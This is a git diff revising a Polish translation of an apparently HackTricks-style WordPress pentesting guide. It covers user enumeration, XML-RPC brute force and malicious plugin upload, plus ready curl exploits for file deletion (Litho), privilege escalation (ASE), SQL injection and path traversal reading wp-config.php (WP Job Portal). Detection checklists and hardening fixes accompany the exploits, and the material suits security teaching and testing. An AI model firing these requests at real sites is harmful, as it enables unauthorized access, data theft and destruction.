Translated ['src/network-services-pentesting/pentesting-web/wordpress.md

This commit is contained in:
Translator 2025-08-18 16:37:17 +00:00
parent 7a59d9299d
commit 31bba4f233

View File

@ -22,27 +22,27 @@
- `/wp-admin/wp-login.php`
- `/login.php`
- `/wp-login.php`
- `xmlrpc.php` to plik, który reprezentuje funkcję WordPressa, która umożliwia przesyłanie danych za pomocą HTTP jako mechanizmu transportowego i XML jako mechanizmu kodowania. Ten typ komunikacji został zastąpiony przez [REST API](https://developer.wordpress.org/rest-api/reference) WordPressa.
- `xmlrpc.php` to plik, który reprezentuje funkcję WordPressa, która umożliwia przesyłanie danych z HTTP jako mechanizmu transportowego i XML jako mechanizmu kodowania. Ten typ komunikacji został zastąpiony przez WordPress [REST API](https://developer.wordpress.org/rest-api/reference).
- Folder `wp-content` to główny katalog, w którym przechowywane są wtyczki i motywy.
- `wp-content/uploads/` to katalog, w którym przechowywane są wszelkie pliki przesłane na platformę.
- `wp-includes/` To katalog, w którym przechowywane są pliki rdzeniowe, takie jak certyfikaty, czcionki, pliki JavaScript i widżety.
- `wp-sitemap.xml` W wersjach WordPressa 5.5 i wyższych, WordPress generuje plik XML mapy witryny ze wszystkimi publicznymi postami oraz publicznie zapytującymi typami postów i taksonomiami.
- `wp-sitemap.xml` W wersjach WordPressa 5.5 i wyższych, WordPress generuje plik XML mapy witryny ze wszystkimi publicznymi postami oraz publicznie zapytanymi typami postów i taksonomiami.
**Post eksploatacja**
**Post exploitation**
- Plik `wp-config.php` zawiera informacje wymagane przez WordPress do połączenia z bazą danych, takie jak nazwa bazy danych, host bazy danych, nazwa użytkownika i hasło, klucze uwierzytelniające i sól oraz prefiks tabeli bazy danych. Ten plik konfiguracyjny może być również używany do aktywacji trybu DEBUG, co może być przydatne w rozwiązywaniu problemów.
### Uprawnienia użytkowników
- **Administrator**
- **Redaktor**: Publikuje i zarządza swoimi i innymi postami
- **Redaktor**: Publikuje i zarządza swoimi oraz innymi postami
- **Autor**: Publikuje i zarządza swoimi postami
- **Współautor**: Pisze i zarządza swoimi postami, ale nie może ich publikować
- **Subskrybent**: Przegląda posty i edytuje swój profil
## **Pasywna enumeracja**
### **Uzyskaj wersję WordPressa**
### **Sprawdź wersję WordPressa**
Sprawdź, czy możesz znaleźć pliki `/license.txt` lub `/readme.html`
@ -81,7 +81,7 @@ curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/supp
### Wtyczki i motywy
Prawdopodobnie nie będziesz w stanie znaleźć wszystkich dostępnych Wtyczek i Motywów. Aby je wszystkie odkryć, będziesz musiał **aktywnie przeprowadzić Brute Force listy Wtyczek i Motywów** (na szczęście są dostępne zautomatyzowane narzędzia, które zawierają te listy).
Prawdopodobnie nie będziesz w stanie znaleźć wszystkich dostępnych Wtyczek i Motywów. Aby je wszystkie odkryć, będziesz musiał **aktywnie przeprowadzić Brute Force listy Wtyczek i Motywów** (na szczęście istnieją zautomatyzowane narzędzia, które zawierają te listy).
### Użytkownicy
@ -89,7 +89,7 @@ Prawdopodobnie nie będziesz w stanie znaleźć wszystkich dostępnych Wtyczek i
```bash
curl -s -I -X GET http://blog.example.com/?author=1
```
Jeśli odpowiedzi **200** lub **30X**, oznacza to, że id jest **ważne**. Jeśli odpowiedź to **400**, to id jest **nieważne**.
Jeśli odpowiedzi to **200** lub **30X**, oznacza to, że id jest **ważne**. Jeśli odpowiedź to **400**, to id jest **nieważne**.
- **wp-json:** Możesz także spróbować uzyskać informacje o użytkownikach, wykonując zapytanie:
```bash
@ -107,7 +107,7 @@ Zauważ również, że **/wp-json/wp/v2/pages** może ujawniać adresy IP.
### XML-RPC
Jeśli `xml-rpc.php` jest aktywne, możesz przeprowadzić atak brute-force na dane logowania lub użyć go do przeprowadzania ataków DoS na inne zasoby. (Możesz zautomatyzować ten proces[ używając tego](https://github.com/relarizky/wpxploit) na przykład).
Jeśli `xml-rpc.php` jest aktywne, możesz przeprowadzić atak brute-force na dane logowania lub użyć go do uruchomienia ataków DoS na inne zasoby. (Możesz zautomatyzować ten proces[ używając tego](https://github.com/relarizky/wpxploit) na przykład).
Aby sprawdzić, czy jest aktywne, spróbuj uzyskać dostęp do _**/xmlrpc.php**_ i wyślij to żądanie:
@ -304,7 +304,7 @@ Ta metoda polega na zainstalowaniu złośliwej wtyczki, która jest znana jako p
3. **Aktywacja wtyczki**: Po pomyślnej instalacji wtyczka musi być aktywowana przez pulpit.
4. **Eksploatacja**:
- Z wtyczką "reflex-gallery" zainstalowaną i aktywowaną, można ją wykorzystać, ponieważ jest znana jako podatna.
- Framework Metasploit zapewnia exploit dla tej podatności. Ładując odpowiedni moduł i wykonując konkretne polecenia, można nawiązać sesję meterpreter, uzyskując nieautoryzowany dostęp do witryny.
- Framework Metasploit zapewnia exploit dla tej podatności. Ładując odpowiedni moduł i wykonując konkretne polecenia, można nawiązać sesję meterpreter, co daje nieautoryzowany dostęp do witryny.
- Zauważono, że to tylko jedna z wielu metod eksploatacji witryny WordPress.
Zawartość obejmuje wizualne pomoce ilustrujące kroki w pulpicie WordPressa dotyczące instalacji i aktywacji wtyczki. Ważne jest jednak, aby zauważyć, że eksploatacja podatności w ten sposób jest nielegalna i nieetyczna bez odpowiedniej autoryzacji. Informacje te powinny być używane odpowiedzialnie i tylko w kontekście prawnym, takim jak testy penetracyjne z wyraźnym pozwoleniem.
@ -332,13 +332,13 @@ mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;UPDATE
```
## Wordpress Plugins Pentest
### Attack Surface
### Powierzchnia ataku
Znajomość tego, jak wtyczka Wordpress może ujawniać funkcjonalność, jest kluczowa, aby znaleźć luki w jej funkcjonalności. Możesz znaleźć, jak wtyczka może ujawniać funkcjonalność w poniższych punktach oraz kilka przykładów podatnych wtyczek w [**tym wpisie na blogu**](https://nowotarski.info/wordpress-nonce-authorization/).
- **`wp_ajax`**
Jednym ze sposobów, w jaki wtyczka może ujawniać funkcje, jest za pośrednictwem handlerów AJAX. Mogą one zawierać błędy logiczne, autoryzacyjne lub uwierzytelniające. Co więcej, często zdarza się, że te funkcje opierają zarówno uwierzytelnianie, jak i autoryzację na istnieniu nonce Wordpress, który **może mieć każdy użytkownik uwierzytelniony w instancji Wordpress** (niezależnie od jego roli).
Jednym ze sposobów, w jaki wtyczka może ujawniać funkcje, jest za pomocą handlerów AJAX. Mogą one zawierać błędy logiczne, autoryzacyjne lub uwierzytelniające. Co więcej, często te funkcje będą opierać zarówno uwierzytelnianie, jak i autoryzację na istnieniu nonce Wordpress, który **może mieć każdy użytkownik uwierzytelniony w instancji Wordpress** (niezależnie od jego roli).
To są funkcje, które mogą być używane do ujawniania funkcji w wtyczce:
```php
@ -364,19 +364,19 @@ $this->namespace, '/get/', array(
```
`permission_callback` to funkcja zwrotna, która sprawdza, czy dany użytkownik ma uprawnienia do wywołania metody API.
**Jeśli użyta jest wbudowana funkcja `__return_true`, po prostu pominie sprawdzenie uprawnień użytkownika.**
**Jeśli użyta zostanie wbudowana funkcja `__return_true`, po prostu pominie sprawdzanie uprawnień użytkownika.**
- **Bezpośredni dostęp do pliku php**
Oczywiście, WordPress używa PHP, a pliki wewnątrz wtyczek są bezpośrednio dostępne z sieci. Tak więc, w przypadku, gdy wtyczka ujawnia jakąkolwiek podatną funkcjonalność, która jest wywoływana po prostu przez dostęp do pliku, będzie to wykorzystywalne przez każdego użytkownika.
Oczywiście, WordPress używa PHP, a pliki wewnątrz wtyczek są bezpośrednio dostępne z sieci. Tak więc, w przypadku, gdy wtyczka ujawnia jakąkolwiek podatną funkcjonalność, która jest wywoływana po prostu przez dostęp do pliku, będzie to podatne na wykorzystanie przez każdego użytkownika.
### Nieautoryzowane usuwanie dowolnych plików za pomocą wp_ajax_nopriv (Motyw Litho <= 3.0)
Motywy i wtyczki WordPressa często ujawniają obsługiwacze AJAX za pomocą haków `wp_ajax_` i `wp_ajax_nopriv_`. Gdy używana jest wariant **_nopriv_**, **funkcja zwrotna staje się dostępna dla nieautoryzowanych odwiedzających**, więc każda wrażliwa akcja musi dodatkowo implementować:
Motywy i wtyczki WordPressa często ujawniają obsługiwacze AJAX za pośrednictwem haków `wp_ajax_` i `wp_ajax_nopriv_`. Gdy używana jest wersja **_nopriv_**, **funkcja zwrotna staje się dostępna dla nieautoryzowanych odwiedzających**, więc każda wrażliwa akcja musi dodatkowo implementować:
1. Sprawdzenie **uprawnień** (np. `current_user_can()` lub przynajmniej `is_user_logged_in()`), oraz
1. **sprawdzenie uprawnień** (np. `current_user_can()` lub przynajmniej `is_user_logged_in()`), oraz
2. **CSRF nonce** weryfikowane za pomocą `check_ajax_referer()` / `wp_verify_nonce()`, oraz
3. **Ścisłą sanitację / walidację danych wejściowych**.
3. **Ścisłą sanitację / walidację wejścia**.
Motyw wielofunkcyjny Litho (< 3.1) zapomniał o tych 3 kontrolach w funkcji *Usuń rodzinę czcionek* i ostatecznie dostarczył następujący kod (uproszczony):
```php
@ -405,7 +405,7 @@ Problemy wprowadzone przez ten fragment:
#### Wykorzystanie
Napastnik może usunąć dowolny plik lub katalog **poniżej podstawowego katalogu przesyłania** (zwykle `<wp-root>/wp-content/uploads/`) wysyłając pojedyncze żądanie HTTP POST:
Atakujący może usunąć dowolny plik lub katalog **poniżej katalogu głównego przesyłania** (zwykle `<wp-root>/wp-content/uploads/`) wysyłając pojedyncze żądanie HTTP POST:
```bash
curl -X POST https://victim.com/wp-admin/admin-ajax.php \
-d 'action=litho_remove_font_family_action_data' \
@ -418,7 +418,7 @@ Inne istotne cele to pliki `.php` wtyczek/motywów (aby złamać wtyczki zabezpi
#### Lista kontrolna wykrywania
* Każdy `add_action( 'wp_ajax_nopriv_...')` callback, który wywołuje pomocniki systemu plików (`copy()`, `unlink()`, `$wp_filesystem->delete()`, itd.).
* Konkatenacja niesanitizowanego wejścia użytkownika w ścieżkach (szukaj `$_POST`, `$_GET`, `$_REQUEST`).
* Konkatenacja niesanitowanych danych wejściowych użytkownika w ścieżkach (szukaj `$_POST`, `$_GET`, `$_REQUEST`).
* Brak `check_ajax_referer()` oraz `current_user_can()`/`is_user_logged_in()`.
#### Wzmacnianie
@ -446,6 +446,70 @@ add_action( 'wp_ajax_litho_remove_font_family_action_data', 'secure_remove_font_
---
### Eskalacja uprawnień poprzez przywracanie przestarzałych ról i brak autoryzacji (ASE "Wyświetl administratora jako rolę")
Wiele wtyczek implementuje funkcję "wyświetl jako rola" lub tymczasowego przełączania ról, zapisując oryginalną rolę(-y) w meta użytkownika, aby mogły być przywrócone później. Jeśli ścieżka przywracania polega tylko na parametrach żądania (np. `$_REQUEST['reset-for']`) oraz liście zarządzanej przez wtyczkę bez sprawdzania uprawnień i ważnego nonce, prowadzi to do pionowej eskalacji uprawnień.
Przykład z rzeczywistego świata znaleziono w wtyczce Admin and Site Enhancements (ASE) (≤ 7.6.2.1). Gałąź resetu przywracała role na podstawie `reset-for=<username>`, jeśli nazwa użytkownika pojawiła się w wewnętrznej tablicy `$options['viewing_admin_as_role_are']`, ale nie przeprowadzała ani sprawdzenia `current_user_can()`, ani weryfikacji nonce przed usunięciem bieżących ról i ponownym dodaniem zapisanych ról z meta użytkownika `_asenha_view_admin_as_original_roles`:
```php
// Simplified vulnerable pattern
if ( isset( $_REQUEST['reset-for'] ) ) {
$reset_for_username = sanitize_text_field( $_REQUEST['reset-for'] );
$usernames = get_option( ASENHA_SLUG_U, [] )['viewing_admin_as_role_are'] ?? [];
if ( in_array( $reset_for_username, $usernames, true ) ) {
$u = get_user_by( 'login', $reset_for_username );
foreach ( $u->roles as $role ) { $u->remove_role( $role ); }
$orig = (array) get_user_meta( $u->ID, '_asenha_view_admin_as_original_roles', true );
foreach ( $orig as $r ) { $u->add_role( $r ); }
}
}
```
Dlaczego jest to podatne na atak
- Ufa `$_REQUEST['reset-for']` i opcji wtyczki bez autoryzacji po stronie serwera.
- Jeśli użytkownik wcześniej miał wyższe uprawnienia zapisane w `_asenha_view_admin_as_original_roles` i został obniżony, może je przywrócić, klikając ścieżkę resetowania.
- W niektórych wdrożeniach każdy uwierzytelniony użytkownik mógłby wywołać reset dla innej nazwy użytkownika, która nadal jest obecna w `viewing_admin_as_role_are` (uszkodzona autoryzacja).
Wymagania wstępne ataku
- Wersja wtyczki z podatnością z włączoną funkcją.
- Docelowe konto ma przestarzałą rolę o wysokich uprawnieniach zapisaną w metadanych użytkownika z wcześniejszego użycia.
- Jakakolwiek uwierzytelniona sesja; brak nonce/zdolności w procesie resetowania.
Eksploatacja (przykład)
```bash
# While logged in as the downgraded user (or any auth user able to trigger the code path),
# hit any route that executes the role-switcher logic and include the reset parameter.
# The plugin uses $_REQUEST, so GET or POST works. The exact route depends on the plugin hooks.
curl -s -k -b 'wordpress_logged_in=...' \
'https://victim.example/wp-admin/?reset-for=<your_username>'
```
Na podatnych wersjach to usuwa bieżące role i ponownie dodaje zapisane oryginalne role (np. `administrator`), skutecznie eskalując uprawnienia.
Lista kontrolna wykrywania
- Szukaj funkcji przełączania ról, które utrzymują „oryginalne role” w meta użytkownika (np. `_asenha_view_admin_as_original_roles`).
- Zidentyfikuj ścieżki resetowania/przywracania, które:
- Odczytują nazwy użytkowników z `$_REQUEST` / `$_GET` / `$_POST`.
- Modyfikują role za pomocą `add_role()` / `remove_role()` bez `current_user_can()` i `wp_verify_nonce()` / `check_admin_referer()`.
- Autoryzują na podstawie tablicy opcji wtyczki (np. `viewing_admin_as_role_are`) zamiast możliwości aktora.
Wzmacnianie
- Wymuszaj kontrole uprawnień na każdej gałęzi zmieniającej stan (np. `current_user_can('manage_options')` lub surowsze).
- Wymagaj nonce dla wszystkich mutacji ról/uprawnień i weryfikuj je: `check_admin_referer()` / `wp_verify_nonce()`.
- Nigdy nie ufaj nazwom użytkowników dostarczonym w żądaniu; rozwiązuj docelowego użytkownika po stronie serwera na podstawie uwierzytelnionego aktora i wyraźnej polityki.
- Unieważnij stan „oryginalnych ról” przy aktualizacjach profilu/roli, aby uniknąć przestarzałego przywracania wysokich uprawnień:
```php
add_action( 'profile_update', function( $user_id ) {
delete_user_meta( $user_id, '_asenha_view_admin_as_original_roles' );
}, 10, 1 );
```
- Rozważ przechowywanie minimalnego stanu i używanie tokenów z ograniczonym czasem ważności oraz zabezpieczonych uprawnień do tymczasowych przełączeń ról.
---
## Ochrona WordPressa
### Regularne aktualizacje
@ -472,7 +536,8 @@ Również, **instaluj tylko zaufane wtyczki i motywy WordPress**.
- **Ogranicz próby logowania**, aby zapobiec atakom Brute Force
- Zmień nazwę pliku **`wp-admin.php`** i zezwól na dostęp tylko wewnętrznie lub z określonych adresów IP.
### Nieautoryzowany SQL Injection przez niewystarczającą walidację (WP Job Portal <= 2.3.2)
### Nieautoryzowana injekcja SQL przez niewystarczającą walidację (WP Job Portal <= 2.3.2)
Wtyczka rekrutacyjna WP Job Portal ujawniała zadanie **savecategory**, które ostatecznie wykonuje następujący podatny kod wewnątrz `modules/category/model.php::validateFormData()`:
```php
@ -487,12 +552,12 @@ $query = "SELECT max(ordering)+1 AS maxordering FROM "
Problemy wprowadzone przez ten fragment:
1. **Niesanitizowane dane wejściowe użytkownika** `parentid` pochodzi bezpośrednio z żądania HTTP.
2. **Konkatenacja łańcuchów w klauzuli WHERE** brak `is_numeric()` / `esc_sql()` / przygotowanej instrukcji.
2. **Konkatenacja ciągów w klauzuli WHERE** brak `is_numeric()` / `esc_sql()` / przygotowanej instrukcji.
3. **Nieautoryzowana dostępność** chociaż akcja jest wykonywana przez `admin-post.php`, jedynym sprawdzeniem jest **CSRF nonce** (`wp_verify_nonce()`), który każdy odwiedzający może pobrać z publicznej strony osadzającej shortcode `[wpjobportal_my_resumes]`.
#### Wykorzystanie
1. Zdobądź świeży nonce:
1. Pobierz świeży nonce:
```bash
curl -s https://victim.com/my-resumes/ | grep -oE 'name="_wpnonce" value="[a-f0-9]+' | cut -d'"' -f4
```
@ -507,9 +572,9 @@ curl -X POST https://victim.com/wp-admin/admin-post.php \
Odpowiedź ujawnia wynik wstrzykniętego zapytania lub zmienia bazę danych, co dowodzi SQLi.
### Nieautoryzowane pobieranie dowolnych plików / Przechodzenie przez ścieżki (WP Job Portal <= 2.3.2)
### Nieautoryzowane pobieranie dowolnych plików / Przechodzenie ścieżek (WP Job Portal <= 2.3.2)
Inne zadanie, **downloadcustomfile**, pozwalało odwiedzającym pobierać **dowolny plik na dysku** poprzez przechodzenie przez ścieżki. Wrażliwy punkt znajduje się w `modules/customfield/model.php::downloadCustomUploadedFile()`:
Inne zadanie, **downloadcustomfile**, pozwalało odwiedzającym na pobranie **dowolnego pliku na dysku** poprzez przechodzenie ścieżek. Wrażliwy punkt znajduje się w `modules/customfield/model.php::downloadCustomUploadedFile()`:
```php
$file = $path . '/' . $file_name;
...
@ -532,5 +597,7 @@ Serwer odpowiada zawartością `wp-config.php`, ujawniając dane uwierzytelniaj
- [Unauthenticated Arbitrary File Deletion Vulnerability in Litho Theme](https://patchstack.com/articles/unauthenticated-arbitrary-file-delete-vulnerability-in-litho-the/)
- [Multiple Critical Vulnerabilities Patched in WP Job Portal Plugin](https://patchstack.com/articles/multiple-critical-vulnerabilities-patched-in-wp-job-portal-plugin/)
- [Rare Case of Privilege Escalation in ASE Plugin Affecting 100k+ Sites](https://patchstack.com/articles/rare-case-of-privilege-escalation-in-ase-plugin-affecting-100k-sites/)
- [ASE 7.6.3 changeset delete original roles on profile update](https://plugins.trac.wordpress.org/changeset/3211945/admin-site-enhancements/tags/7.6.3/classes/class-view-admin-as-role.php?old=3208295&old_path=admin-site-enhancements%2Ftags%2F7.6.2%2Fclasses%2Fclass-view-admin-as-role.php)
{{#include ../../banners/hacktricks-training.md}}